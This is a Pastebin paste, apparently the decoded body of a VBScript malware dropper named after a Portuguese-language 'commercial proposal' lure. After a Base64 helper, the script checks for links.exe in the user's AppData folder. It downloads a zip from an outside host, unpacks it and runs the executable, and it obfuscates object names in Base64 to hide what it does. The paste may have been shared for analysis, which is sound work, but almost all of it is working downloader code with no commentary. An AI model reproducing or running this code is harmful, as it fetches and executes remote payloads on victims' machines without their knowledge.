powertool

PropostaComercial-decode.vbe

Aug 18th, 2015
641
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ' #################################################################
  2. ' by sysv@ 2015
  3. ' #################################################################
  4.  
  5. Function Base64Decode(ByVal base64String)
  6.   'rfc1521
  7.  '1999 Antonin Foller, Motobit Software, http://Motobit.cz
  8.  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  9.   Dim dataLength, sOut, groupBegin
  10.  
  11.   'remove white spaces, If any
  12.  base64String = Replace(base64String, vbCrLf, "")
  13.   base64String = Replace(base64String, vbTab, "")
  14.   base64String = Replace(base64String, " ", "")
  15.  
  16.   'The source must consists from groups with Len of 4 chars
  17.  dataLength = Len(base64String)
  18.   If dataLength Mod 4 <> 0 Then
  19.     Err.Raise 1, "Base64Decode", "Bad Base64 string."
  20.     Exit Function
  21.   End If
  22.  
  23.  
  24.   ' Now decode each group:
  25.  For groupBegin = 1 To dataLength Step 4
  26.     Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
  27.     ' Each data group encodes up To 3 actual bytes.
  28.    numDataBytes = 3
  29.     nGroup = 0
  30.  
  31.     For CharCounter = 0 To 3
  32.       ' Convert each character into 6 bits of data, And add it To
  33.      ' an integer For temporary storage.  If a character is a '=', there
  34.      ' is one fewer data byte.  (There can only be a maximum of 2 '=' In
  35.      ' the whole string.)
  36.  
  37.       thisChar = Mid(base64String, groupBegin + CharCounter, 1)
  38.  
  39.       If thisChar = "=" Then
  40.         numDataBytes = numDataBytes - 1
  41.         thisData = 0
  42.       Else
  43.         thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
  44.       End If
  45.       If thisData = -1 Then
  46.         Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
  47.         Exit Function
  48.       End If
  49.  
  50.       nGroup = 64 * nGroup + thisData
  51.     Next
  52.    
  53.     'Hex splits the long To 6 groups with 4 bits
  54.    nGroup = Hex(nGroup)
  55.    
  56.     'Add leading zeros
  57.    nGroup = String(6 - Len(nGroup), "0") & nGroup
  58.    
  59.     'Convert the 3 byte hex integer (6 chars) To 3 characters
  60.    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
  61.       Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
  62.       Chr(CByte("&H" & Mid(nGroup, 5, 2)))
  63.    
  64.     'add numDataBytes characters To out string
  65.    sOut = sOut & Left(pOut, numDataBytes)
  66.   Next
  67.  
  68.   Base64Decode = sOut
  69. End Function
  70.  
  71. '####################################################################################
  72.  
  73. set predio = wScript.createObject("WScript.Shell")
  74. ALFREDO = predio.expandEnvironmentStrings("%USERNAME%")
  75.  
  76. Dim MARIO, avg, JOAO, us, BONE
  77. avg = "C:\Users\" & ALFREDO & "\AppData\Roaming"
  78. ' Create FileSystemObject. So we can apply .createFolder method
  79. us = Base64Decode("bGlua3MuZXhl")
  80. JOAO = avg & "\" & us
  81.  
  82. Set MARIO = CreateObject("Scripting.FileSystemObject")
  83. If MARIO.FileExists(JOAO) Then
  84. Wscript.Quit
  85. End If
  86.  
  87. dim QQSSSSSSSSSUW,FATIMA,franquia, bagunca
  88.  
  89. FATIMA = "http://apostilasconcursosbrasil.com/site/concursos/manual/curso/cursos"
  90. QQSSSSSSSSSUW = "\flores.zip"
  91. franquia = avg & QQSSSSSSSSSUW
  92.  
  93. Set MARIO = CreateObject("Scripting.FileSystemObject")
  94. If MARIO.FileExists(franquia) Then
  95.   MARIO.DeleteFile(franquia)
  96. End If
  97.  
  98.  
  99. ' Create an HTTP object
  100. Set FISICO = CreateObject(Base64Decode("TVNYTUwyLlhNTEhUVFA="))
  101.  
  102. ' Download the specified URL
  103. FISICO.open "GET", FATIMA, False
  104. FISICO.send
  105.  
  106. If FISICO.Status = 200 Then
  107.   Dim ALESSANDRA
  108.   Set ALESSANDRA = CreateObject(Base64Decode("QURPREIuU3RyZWFt"))
  109.   With ALESSANDRA
  110.     .Type = 1 'adTypeBinary
  111.    .Open
  112.     .Write FISICO.responseBody
  113.     .SaveToFile franquia
  114.     .Close
  115.   End With
  116.   set ALESSANDRA = Nothing
  117. End If
  118.  
  119. Set BANDEIRA = CreateObject("Scripting.FileSystemObject")
  120. If BANDEIRA.FileExists(franquia) Then
  121. set banheiro = CreateObject("Shell.Application")
  122. set macaco=banheiro.NameSpace(franquia).items
  123. banheiro.NameSpace(avg).CopyHere(macaco)
  124. End if
  125.  
  126. Set xuxa = CreateObject("Scripting.FileSystemObject")
  127. If xuxa.FileExists(franquia) Then
  128. xuxa.DeleteFile(franquia)
  129. End If
  130.  
  131. If MARIO.FileExists(JOAO) Then
  132. Dim JOANA, teste1, var
  133. Set JOANA = WScript.CreateObject( "WScript.Shell" )
  134. JOANA.Run(JOAO)
  135. Set JOANA = Nothing
  136. End If
  137.  
  138. '######################################################################################
Advertisement
Add Comment
Please, Sign In to add comment